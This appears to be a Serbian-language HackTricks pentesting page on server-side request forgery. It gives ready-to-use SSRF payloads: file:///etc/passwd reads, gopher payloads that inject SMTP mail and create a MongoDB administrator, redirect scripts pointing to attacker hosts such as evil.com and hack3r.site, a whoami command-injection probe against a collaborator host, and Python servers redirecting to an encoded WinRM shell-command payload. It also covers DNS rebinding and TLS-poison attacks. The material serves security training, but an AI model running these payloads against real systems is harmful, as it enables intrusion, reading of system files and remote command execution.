hacktricks/pentesting-web/ssrf-server-side-request-forgery/README.md

22 KiB

SSRF (Server Side Request Forgery)


Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Ranjivost Server-side Request Forgery (SSRF) se javlja kada napadač manipuliše server-side aplikacijom da izvrši HTTP zahteve ka domenu po izboru. Ova ranjivost izlaže server proizvoljnim spoljnim zahtevima usmerenim od strane napadača.

Snimanje SSRF-a

Prva stvar koju treba da uradite je da snimite SSRF interakciju koju generišete. Za snimanje HTTP ili DNS interakcije možete koristiti alate kao što su:

Bypass belihlistanih domena

Obično ćete primetiti da SSRF radi samo na određenim belihlistanim domenima ili URL-ovima. Na sledećoj stranici imate kompilaciju tehnika za pokušaj zaobilaženja te belihliste:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Bypass putem otvorenog preusmeravanja

Ako je server pravilno zaštićen, možete zaobići sve restrikcije eksploatišući Otvoreno preusmeravanje unutar web stranice. Pošto će web stranica dozvoliti SSRF ka istom domenu i verovatno će pratiti preusmeravanja, možete iskoristiti Otvoreno preusmeravanje da naterate server da pristupi internim resursima.
Pročitajte više ovde: https://portswigger.net/web-security/ssrf

Protokoli

  • file://
  • URL šema file:// se referiše, usmeravajući direktno na /etc/passwd: file:///etc/passwd
  • dict://
  • DICT URL šema se opisuje kao korišćena za pristup definicijama ili listama reči putem DICT protokola. Primer ilustruje konstruisani URL koji cilja određenu reč, bazu podataka i broj unosa, kao i primer PHP skripte koja potencijalno može biti zloupotrebljena za povezivanje sa DICT serverom koristeći od strane napadača pružene akreditive: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Identifikovan kao protokol za siguran prenos fajlova preko sigurne ljuske, pružen je primer koji pokazuje kako bi PHP skripta mogla biti iskorišćena za povezivanje sa zlonamernim SFTP serverom: url=sftp://generic.com:11111/
  • TFTP://
  • Trivialni protokol prenosa fajlova, koji radi preko UDP-a, pomenut je sa primerom PHP skripte dizajnirane za slanje zahteva TFTP serveru. Zahtev TFTP serveru 'generic.com' na portu '12346' za fajl 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Ovaj segment pokriva Lightweight Directory Access Protocol, naglašavajući njegovu upotrebu za upravljanje i pristup distribuiranim informacionim servisima direktorijuma preko IP mreža. Interakcija sa LDAP serverom na localhostu: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Opisan je metod za iskorišćavanje SSRF ranjivosti za interakciju sa SMTP servisima na localhostu, uključujući korake za otkrivanje internih imena domena i dalje istraživačke akcije na osnovu tih informacija.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - Bypassovanje WAF-a
  • Ako se SSRF izvršava pomoću curl, curl ima funkciju nazvanu URL globbing koja može biti korisna za zaobilaženje WAF-ova. Na primer, u ovom writeup možete pronaći ovaj primer za path traversal putem file protokola:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Mogućnost Gopher protokola da specificira IP, port i bajtove za komunikaciju sa serverom je diskutovana, zajedno sa alatima poput Gopherus-a i remote-method-guesser-a za kreiranje payload-a. Prikazane su dve različite upotrebe:

Gopher://

Korišćenjem ovog protokola možete specificirati IP, port i bajtove koje želite da server pošalje. Zatim, praktično možete iskoristiti SSRF da komunicirate sa bilo kojim TCP serverom (ali prvo morate znati kako da komunicirate sa servisom).
Srećom, možete koristiti Gopherus za kreiranje payload-a za različite servise. Dodatno, remote-method-guesser može se koristiti za kreiranje gopher payload-a za Java RMI servise.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Povratno povezivanje na 1337

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

Gopher MongoDB -- Napravite korisnika sa korisničkim imenom=admin sa lozinkom=admin123 i dozvolom=administrator

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF putem Referrer zaglavlja i drugih

Softver za analitiku na serverima često beleži Referrer zaglavlje kako bi pratili dolazne linkove, praksu koja nenamerno izlaže aplikacije ranjivostima na Server-Side Request Forgery (SSRF). To je zato što takav softver može posetiti spoljne URL-ove navedene u Referrer zaglavlju kako bi analizirao sadržaj referentnog sajta. Da bi otkrili ove ranjivosti, preporučuje se Burp Suite dodatak "Collaborator Everywhere", iskorišćavajući način na koji alati za analitiku obrađuju Referer zaglavlje kako bi identifikovali potencijalne površine napada SSRF.

SSRF putem SNI podataka iz sertifikata

Pogrešna konfiguracija koja omogućava povezivanje sa bilo kojim backend-om kroz jednostavan setup ilustrovana je primerom Nginx konfiguracije:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

U ovoj konfiguraciji, vrednost iz polja Server Name Indication (SNI) se direktno koristi kao adresa backend-a. Ova postavka izlaže ranjivost na Server-Side Request Forgery (SSRF), koja može biti iskorišćena jednostavnim navođenjem željene IP adrese ili domenskog imena u polju SNI. Primer iskorišćenja za prisiljavanje konekcije ka proizvoljnom backend-u, kao što je internal.host.com, korišćenjem openssl komande je data ispod:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget slanje datoteke

SSRF sa Command Injection

Moglo bi biti vredno pokušati sa payload-om kao što je: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Renderovanje PDF fajlova

Ako veb stranica automatski kreira PDF sa nekim informacijama koje ste pružili, možete ubaciti neki JS koji će biti izvršen od strane samog kreatora PDF-a (servera) dok kreira PDF i moći ćete zloupotrebiti SSRF. Pronađite više informacija ovde.

Od SSRF do DoS

Kreirajte nekoliko sesija i pokušajte da preuzmete teške datoteke iskorišćavajući SSRF iz sesija.

SSRF PHP Funkcije

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

SSRF Preusmeravanje na Gopher

Za neke eksploatacije možda će vam biti potrebno poslati preusmeravajući odgovor (potencijalno koristeći drugi protokol poput gopher-a). Ovde imate različite Python kodove za odgovor sa preusmeravanjem:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```python
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

DNS Preusmeravanje CORS/SOP zaobilaženje

Ako imate problema sa ekstrakcijom sadržaja sa lokalne IP adrese zbog CORS/SOP, DNS preusmeravanje može se koristiti za zaobilaženje te ograničenosti:

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

Automatizovano DNS preusmeravanje

Singularity of Origin je alat za izvođenje napada DNS preusmeravanjem. Uključuje neophodne komponente za ponovno usmeravanje IP adrese DNS imena servera napada na IP adresu ciljnog računara i za posluživanje napadačkih opterećenja radi iskorišćavanja ranjivog softvera na ciljnom računaru.

Pogledajte takođe javno pokrenuti server na http://rebind.it/singularity.html

DNS Preusmeravanje + TLS ID sesije/Tiket sesije

Zahtevi:

  • SSRF
  • Odlazne TLS sesije
  • Stvari na lokalnim portovima

Napad:

  1. Zatražite od korisnika/bota da pristupi domenu kojom upravlja napadač
  2. TTL DNS-a je 0 sekundi (tako da će žrtva uskoro ponovo proveriti IP domene)
  3. Stvara se TLS veza između žrtve i domene napadača. Napadač unosi opterećenje unutar ID sesije ili Tiketa sesije.
  4. Domen će pokrenuti beskonačnu petlju preusmeravanja na sebe. Cilj je da naterate korisnika/bota da pristupi domenu dok ponovo ne izvrši DNS zahtev za domen.
  5. U DNS zahtevu se sada daje privatna IP adresa (npr. 127.0.0.1)
  6. Korisnik/bot će pokušati da ponovo uspostavi TLS vezu i kako bi to učinio, poslaće ID sesije/Tiket ID (gde je sadržaj napadača bio smešten). Dakle, čestitamo, uspeli ste da naterate korisnika/bota da napadne samog sebe.

Imajte na umu da tokom ovog napada, ako želite da napadnete localhost:11211 (memcache), morate naterati žrtvu da uspostavi početnu vezu sa www.attacker.com:11211 (port uvek mora biti isti).
Za izvođenje ovog napada možete koristiti alat: https://github.com/jmdx/TLS-poison/
Za više informacija pogledajte predavanje gde je ovaj napad objašnjen: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Slepa SSRF

Razlika između slepe SSRF i one koja nije slepa je u tome što u slepoj ne možete videti odgovor na SSRF zahtev. Zatim, teže je iskoristiti jer ćete moći iskoristiti samo dobro poznate ranjivosti.

Vremenski zasnovana SSRF

Proverom vremena odgovora sa servera možda će biti moguće znati da li resurs postoji ili ne (možda je potrebno više vremena za pristupanje postojećem resursu nego pristupanje onom koji ne postoji)

Iskorišćavanje Cloud SSRF

Ako pronađete ranjivost SSRF u mašini koja se izvršava unutar cloud okruženja, možda ćete moći da dobijete zanimljive informacije o cloud okruženju čak i o akreditacijama:

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

Platforme Ranjive na SSRF

Nekoliko poznatih platformi sadrži ili je sadržalo ranjivosti na SSRF, proverite ih na:

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

Alati

SSRFMap

Alat za otkrivanje i iskorišćavanje ranjivosti SSRF

Gopherus

Ovaj alat generiše Gopher opterećenja za:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser je skener ranjivosti Java RMI koji podržava operacije napada za većinu uobičajenih ranjivosti Java RMI. Većina dostupnih operacija podržava opciju --ssrf, za generisanje SSRF opterećenja za traženu operaciju. Uz opciju --gopher, spremna za upotrebu gopher opterećenja mogu se generisati direktno.

SSRF Proxy

SSRF Proxy je višenitni HTTP proxy server dizajniran za tuneliranje saobraćaja klijenta HTTP-a kroz HTTP servere ranjive na Server-Side Request Forgery (SSRF).

Za vežbanje

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:


Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}